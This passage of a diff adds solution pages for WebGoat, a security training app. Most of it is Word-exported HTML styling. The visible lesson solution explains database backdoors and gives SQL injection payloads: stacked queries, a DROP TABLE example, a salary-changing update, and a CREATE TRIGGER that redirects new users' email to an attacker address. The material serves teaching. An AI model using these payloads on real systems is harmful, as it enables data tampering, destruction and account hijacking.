UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
|
||||
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
|
||||
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
|
||||
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
|
||||
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
|
||||
</w:LatentStyles>
|
||||
</xml><![endif]-->
|
||||
<style>
|
||||
<!--
|
||||
/* Font Definitions */
|
||||
@font-face
|
||||
{font-family:"MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-alt:"\FF2D\FF33 \660E\671D";
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
@font-face
|
||||
{font-family:"Cambria Math";
|
||||
panose-1:2 4 5 3 5 4 6 3 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:roman;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:-1610611985 1107304683 0 0 159 0;}
|
||||
@font-face
|
||||
{font-family:Tahoma;
|
||||
panose-1:2 11 6 4 3 5 4 4 2 4;
|
||||
mso-font-charset:0;
|
||||
mso-generic-font-family:swiss;
|
||||
mso-font-pitch:variable;
|
||||
mso-font-signature:1627400839 -2147483648 8 0 66047 0;}
|
||||
@font-face
|
||||
{font-family:"\@MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
/* Style Definitions */
|
||||
p.MsoNormal, li.MsoNormal, div.MsoNormal
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
h1
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 1 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:12.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:3.0pt;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:1;
|
||||
font-size:16.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
h2
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 2 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:10.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:0cm;
|
||||
margin-left:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan lines-together;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:2;
|
||||
font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
h3
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 3 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:12.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:3.0pt;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:3;
|
||||
font-size:13.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
font-weight:bold;}
|
||||
p.MsoCaption, li.MsoCaption, div.MsoCaption
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-next:Normal;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
font-weight:bold;}
|
||||
p.MsoEnvelopeReturn, li.MsoEnvelopeReturn, div.MsoEnvelopeReturn
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;}
|
||||
a:link, span.MsoHyperlink
|
||||
{mso-style-noshow:yes;
|
||||
color:blue;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
a:visited, span.MsoHyperlinkFollowed
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
color:purple;
|
||||
mso-themecolor:followedhyperlink;
|
||||
text-decoration:underline;
|
||||
text-underline:single;}
|
||||
p
|
||||
{mso-style-noshow:yes;
|
||||
mso-margin-top-alt:auto;
|
||||
margin-right:0cm;
|
||||
mso-margin-bottom-alt:auto;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
pre
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"HTML Preformatted Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;
|
||||
font-size:10.0pt;
|
||||
font-family:"Courier New";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"Balloon Text Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
span.Heading1Char
|
||||
{mso-style-name:"Heading 1 Char";
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 1";
|
||||
mso-ansi-font-size:16.0pt;
|
||||
mso-bidi-font-size:16.0pt;
|
||||
font-family:"MS Mincho";
|
||||
mso-ascii-font-family:"MS Mincho";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-hansi-font-family:"MS Mincho";
|
||||
mso-bidi-font-family:Arial;
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
span.Heading2Char
|
||||
{mso-style-name:"Heading 2 Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:9;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 2";
|
||||
mso-ansi-font-size:13.0pt;
|
||||
mso-bidi-font-size:13.0pt;
|
||||
font-family:"Cambria","serif";
|
||||
mso-ascii-font-family:Cambria;
|
||||
mso-ascii-theme-font:major-latin;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;
|
||||
mso-hansi-font-family:Cambria;
|
||||
mso-hansi-theme-font:major-latin;
|
||||
color:#4F81BD;
|
||||
mso-themecolor:accent1;
|
||||
font-weight:bold;}
|
||||
span.Heading3Char
|
||||
{mso-style-name:"Heading 3 Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 3";
|
||||
mso-ansi-font-size:13.0pt;
|
||||
mso-bidi-font-size:13.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-ascii-font-family:"Times New Roman";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:"Times New Roman";
|
||||
mso-bidi-font-family:Arial;
|
||||
font-weight:bold;}
|
||||
span.HTMLPreformattedChar
|
||||
{mso-style-name:"HTML Preformatted Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"HTML Preformatted";
|
||||
font-family:"Courier New";
|
||||
mso-ascii-font-family:"Courier New";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:"Courier New";
|
||||
mso-bidi-font-family:"Courier New";}
|
||||
span.BalloonTextChar
|
||||
{mso-style-name:"Balloon Text Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Balloon Text";
|
||||
mso-ansi-font-size:8.0pt;
|
||||
mso-bidi-font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-ascii-font-family:Tahoma;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:Tahoma;
|
||||
mso-bidi-font-family:Tahoma;}
|
||||
.MsoChpDefault
|
||||
{mso-style-type:export-only;
|
||||
mso-default-props:yes;
|
||||
font-size:10.0pt;
|
||||
mso-ansi-font-size:10.0pt;
|
||||
mso-bidi-font-size:10.0pt;
|
||||
mso-ascii-font-family:Arial;
|
||||
mso-fareast-font-family:Calibri;
|
||||
mso-fareast-theme-font:minor-latin;
|
||||
mso-hansi-font-family:Arial;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
@page Section1
|
||||
{size:595.3pt 841.9pt;
|
||||
margin:70.55pt 56.9pt 70.55pt 56.9pt;
|
||||
mso-header-margin:35.3pt;
|
||||
mso-footer-margin:35.3pt;
|
||||
mso-title-page:yes;
|
||||
mso-paper-source:0;}
|
||||
div.Section1
|
||||
{page:Section1;}
|
||||
-->
|
||||
</style>
|
||||
<!--[if gte mso 10]>
|
||||
<style>
|
||||
/* Style Definitions */
|
||||
table.MsoNormalTable
|
||||
{mso-style-name:"Table Normal";
|
||||
mso-tstyle-rowband-size:0;
|
||||
mso-tstyle-colband-size:0;
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
|
||||
mso-para-margin:0cm;
|
||||
mso-para-margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapedefaults v:ext="edit" spidmax="4098"/>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapelayout v:ext="edit">
|
||||
<o:idmap v:ext="edit" data="1"/>
|
||||
</o:shapelayout></xml><![endif]-->
|
||||
</head>
|
||||
|
||||
<body lang=EN-US link=blue vlink=purple style='tab-interval:36.0pt'>
|
||||
|
||||
<div class=Section1>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Lesson
|
||||
Plan Title:</span></b><span style='font-family:"Arial","sans-serif"'> How to
|
||||
Create Database Back Door Attacks.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Concept /
|
||||
Topic To Teach:</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>How to Create
|
||||
Database Back Door Attacks. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>How the
|
||||
attacks works:</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Databases are
|
||||
used usually as a backend for web applications. Also it is used as a media of
|
||||
storage. It can also be used as a place to store a malicious activity such as a
|
||||
trigger. A trigger is called by the database management system upon the
|
||||
execution of another database operation like insert, select, update or delete.
|
||||
An attacker for example can create a trigger that would set his email address
|
||||
instead of every new user's email address. <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>General
|
||||
Goal(s):</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><!-- Start Instructions -->Your
|
||||
goal should be to learn how you can exploit a vulnerable query to create a
|
||||
trigger.<br>
|
||||
You will not be able to actually create one in this lesson because the
|
||||
underlying database engine used with WebGoat doesn't support triggers.<br>
|
||||
Your login ID is 101.</span><span style='font-family:"Arial","sans-serif";
|
||||
mso-fareast-language:JA'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='mso-no-proof:
|
||||
yes'><!--[if gte vml 1]><v:shapetype id="_x0000_t75" coordsize="21600,21600"
|
||||
o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f"
|
||||
stroked="f">
|
||||
<v:stroke joinstyle="miter"/>
|
||||
<v:formulas>
|
||||
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
|
||||
<v:f eqn="sum @0 1 0"/>
|
||||
<v:f eqn="sum 0 0 @1"/>
|
||||
<v:f eqn="prod @2 1 2"/>
|
||||
<v:f eqn="prod @3 21600 pixelWidth"/>
|
||||
<v:f eqn="prod @3 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @0 0 1"/>
|
||||
<v:f eqn="prod @6 1 2"/>
|
||||
<v:f eqn="prod @7 21600 pixelWidth"/>
|
||||
<v:f eqn="sum @8 21600 0"/>
|
||||
<v:f eqn="prod @7 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @10 21600 0"/>
|
||||
</v:formulas>
|
||||
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
|
||||
<o:lock v:ext="edit" aspectratio="t"/>
|
||||
</v:shapetype><v:shape id="Picture_x0020_147" o:spid="_x0000_i1030" type="#_x0000_t75"
|
||||
style='width:480pt;height:277.5pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/BackDoors_files/image001.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/BackDoors_files/image013.jpg" v:shapes="Picture_x0020_147"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>1</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Database backdoor</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Solution:<o:p></o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif";mso-bidi-font-weight:
|
||||
bold'>Enter your user ID 101 to see how the application works.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif";mso-bidi-font-weight:
|
||||
bold'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_148"
|
||||
o:spid="_x0000_i1029" type="#_x0000_t75" style='width:480pt;height:277.5pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/BackDoors_files/image003.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/BackDoors_files/image014.jpg" v:shapes="Picture_x0020_148"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>2</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> User ID is 101</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>As you
|
||||
probably noticed, the input is not validated so very easy to do SQL Injection.
|
||||
To have two SQL queries executed, you need to separate them using a sem-colon.
|
||||
For example select * from employees; drop table employees will first select all
|
||||
the users from employees and then drop the table employees. Not all databases
|
||||
support multiple SQL statements.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Here you need
|
||||
to update the salary of the employees. This requires an update query like
|
||||
update employees set salary=10000.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Inject this
|
||||
for the user ID: 101; update employee set salary=10000<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_149"
|
||||
o:spid="_x0000_i1028" type="#_x0000_t75" style='width:480pt;height:277.5pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/BackDoors_files/image005.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/BackDoors_files/image015.jpg" v:shapes="Picture_x0020_149"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>3</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Update query<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif";mso-bidi-font-weight:
|
||||
bold'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_150"
|
||||
o:spid="_x0000_i1027" type="#_x0000_t75" style='width:480pt;height:277.5pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/BackDoors_files/image007.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/BackDoors_files/image016.jpg" v:shapes="Picture_x0020_150"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>4</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Stage 1 completed</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>To create a
|
||||
database trigger, you need to inject the following SQL: CREATE TRIGGER
|
||||
myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET
|
||||
email='john@hackme.com'WHERE userid = NEW.userid<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_151"
|
||||
o:spid="_x0000_i1026" type="#_x0000_t75" style='width:480pt;height:277.5pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/BackDoors_files/image009.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/BackDoors_files/image017.jpg" v:shapes="Picture_x0020_151"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>5</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Insert trigger</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='mso-no-proof:
|
||||
yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_152" o:spid="_x0000_i1025"
|
||||
type="#_x0000_t75" style='width:480pt;height:277.5pt;visibility:visible;
|
||||
mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/BackDoors_files/image011.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/BackDoors_files/image018.jpg" v:shapes="Picture_x0020_152"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>6</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Lesson completed</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
</div>
|
||||
<table align='RIGHT' cellspacing='0' width='90%' border='0' cellpadding='0'>
|
||||
<tr>
|
||||
<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
|
||||
Solution by Erwin Geirnaert
|
||||
</td>
|
||||
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
933
src/main/webapp/lesson_solutions_1/BasicAuthentication.html
Normal file
933
src/main/webapp/lesson_solutions_1/BasicAuthentication.html
Normal file
@ -0,0 +1,933 @@
|
||||
<html xmlns:v="urn:schemas-microsoft-com:vml"
|
||||
xmlns:o="urn:schemas-microsoft-com:office:office"
|
||||
xmlns:w="urn:schemas-microsoft-com:office:word"
|
||||
xmlns:m="http://schemas.microsoft.com/office/2004/12/omml"
|
||||
xmlns="http://www.w3.org/TR/REC-html40">
|
||||
|
||||
<head>
|
||||
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
|
||||
<meta name=ProgId content=Word.Document>
|
||||
<meta name=Generator content="Microsoft Word 12">
|
||||
<meta name=Originator content="Microsoft Word 12">
|
||||
<title>Basic Authentication</title>
|
||||
<link rel=File-List href="lesson_solutions/BasicAuthentication_files/filelist.xml">
|
||||
<link rel=Edit-Time-Data href="lesson_solutions/BasicAuthentication_files/editdata.mso">
|
||||
<!--[if !mso]>
|
||||
<style>
|
||||
v\:* {behavior:url(#default#VML);}
|
||||
o\:* {behavior:url(#default#VML);}
|
||||
w\:* {behavior:url(#default#VML);}
|
||||
.shape {behavior:url(#default#VML);}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:DocumentProperties>
|
||||
<o:Author>egeirnaert</o:Author>
|
||||
<o:LastAuthor>egeirnaert</o:LastAuthor>
|
||||
<o:Revision>3</o:Revision>
|
||||
<o:TotalTime>26</o:TotalTime>
|
||||
<o:Created>2007-07-11T10:55:00Z</o:Created>
|
||||
<o:LastSaved>2007-07-12T15:24:00Z</o:LastSaved>
|
||||
<o:Pages>4</o:Pages>
|
||||
<o:Words>609</o:Words>
|
||||
<o:Characters>3474</o:Characters>
|
||||
<o:Company> </o:Company>
|
||||
<o:Lines>28</o:Lines>
|
||||
<o:Paragraphs>8</o:Paragraphs>
|
||||
<o:CharactersWithSpaces>4075</o:CharactersWithSpaces>
|
||||
<o:Version>12.00</o:Version>
|
||||
</o:DocumentProperties>
|
||||
</xml><![endif]-->
|
||||
<link rel=themeData href="lesson_solutions/BasicAuthentication_files/themedata.thmx">
|
||||
<link rel=colorSchemeMapping
|
||||
href="lesson_solutions/BasicAuthentication_files/colorschememapping.xml">
|
||||
<!--[if gte mso 9]><xml>
|
||||
<w:WordDocument>
|
||||
<w:TrackMoves>false</w:TrackMoves>
|
||||
<w:TrackFormatting/>
|
||||
<w:PunctuationKerning/>
|
||||
<w:ValidateAgainstSchemas/>
|
||||
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
|
||||
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
|
||||
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
|
||||
<w:DoNotPromoteQF/>
|
||||
<w:LidThemeOther>EN-US</w:LidThemeOther>
|
||||
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
|
||||
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
|
||||
<w:Compatibility>
|
||||
<w:BreakWrappedTables/>
|
||||
<w:SnapToGridInCell/>
|
||||
<w:WrapTextWithPunct/>
|
||||
<w:UseAsianBreakRules/>
|
||||
<w:DontGrowAutofit/>
|
||||
<w:SplitPgBreakAndParaMark/>
|
||||
<w:DontVertAlignCellWithSp/>
|
||||
<w:DontBreakConstrainedForcedTables/>
|
||||
<w:DontVertAlignInTxbx/>
|
||||
<w:Word11KerningPairs/>
|
||||
<w:CachedColBalance/>
|
||||
</w:Compatibility>
|
||||
<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
|
||||
<m:mathPr>
|
||||
<m:mathFont m:val="Cambria Math"/>
|
||||
<m:brkBin m:val="before"/>
|
||||
<m:brkBinSub m:val="--"/>
|
||||
<m:smallFrac m:val="off"/>
|
||||
<m:dispDef/>
|
||||
<m:lMargin m:val="0"/>
|
||||
<m:rMargin m:val="0"/>
|
||||
<m:defJc m:val="centerGroup"/>
|
||||
<m:wrapIndent m:val="1440"/>
|
||||
<m:intLim m:val="subSup"/>
|
||||
<m:naryLim m:val="undOvr"/>
|
||||
</m:mathPr></w:WordDocument>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
|
||||
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
|
